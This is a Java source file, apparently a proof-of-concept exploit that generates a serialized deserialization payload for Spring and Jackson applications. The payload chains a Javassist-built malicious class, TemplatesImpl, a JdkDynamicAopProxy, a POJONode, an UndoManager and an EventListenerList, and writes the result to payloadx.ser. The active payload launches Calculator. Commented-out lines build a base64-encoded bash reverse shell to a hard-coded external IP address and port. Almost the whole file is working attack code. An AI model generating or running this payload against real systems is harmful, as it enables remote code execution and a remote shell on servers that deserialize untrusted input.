1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
| package org.example;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.springframework.aop.framework.AdvisedSupport;
import sun.misc.Unsafe;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Vector;
public class SpringPoc {
public static void main(String[] args) throws Exception {
patchModule(SpringPoc.class);
// String host = "154.36.181.12";
// int port = 9999;
// String cmd = "bash -i >& /dev/tcp/" + host + "/" + port + " 0>&1";
// String base64Cmd = java.util.Base64.getEncoder().encodeToString(cmd.getBytes());
// String finalCmd = "bash -c {echo," + base64Cmd + "}|{base64,-d}|{bash,-i}";
ClassPool pool = ClassPool.getDefault();
CtClass evilClass = pool.makeClass("Evil" + System.nanoTime());
evilClass.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");");
//evilClass.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + finalCmd + "\");");
byte[] evilBytes = evilClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
CtClass stubClass = pool.makeClass("Stub" + System.nanoTime());
byte[] stubBytes = stubClass.toBytecode();
setFieldValue(templates, "_bytecodes", new byte[][]{evilBytes, stubBytes});
setFieldValue(templates, "_name", "Pwnd");
setFieldValue(templates, "_transletIndex", 0);
CtClass nodeClass = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = nodeClass.getDeclaredMethod("writeReplace");
nodeClass.removeMethod(writeReplace);
nodeClass.toClass();
Object proxyTemplates = getPOJONodeStableProxy(templates);
POJONode jsonNode = new POJONode(proxyTemplates);
EventListenerList listenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Field editsField = getField(undoManager.getClass(), "edits");
editsField.setAccessible(true);
Vector edits = (Vector) editsField.get(undoManager);
edits.add(jsonNode);
setFieldValue(listenerList, "listenerList", new Object[]{Class.class, undoManager});
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(listenerList);
oos.close();
String base64Str = Base64.getEncoder().encodeToString(baos.toByteArray());
System.out.println(base64Str);
try (FileOutputStream fos = new FileOutputStream("payloadx.ser")) {
fos.write(baos.toByteArray());
}
// ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
// ObjectInputStream ois = new ObjectInputStream(bais);
// ois.readObject();
}
private static void patchModule(Class<?> clazz) {
try {
Unsafe unsafe = getUnsafe();
Module javaBaseModule = Object.class.getModule();
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.putObject(clazz, offset, javaBaseModule);
} catch (Exception e) {
e.printStackTrace();
}
}
private static Unsafe getUnsafe() throws Exception {
Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
return (Unsafe) f.get(null);
}
private static Field getField(Class<?> clazz, String fieldName) {
Field field = null;
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
return field;
}
private static void setFieldValue(Object obj, String field, Object val) throws Exception {
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
private static Object getPOJONodeStableProxy(Object templatesImpl) throws Exception {
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(
clazz.getClassLoader(),
new Class[]{Templates.class, Serializable.class},
handler
);
return proxyObj;
}
}
//--add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED
|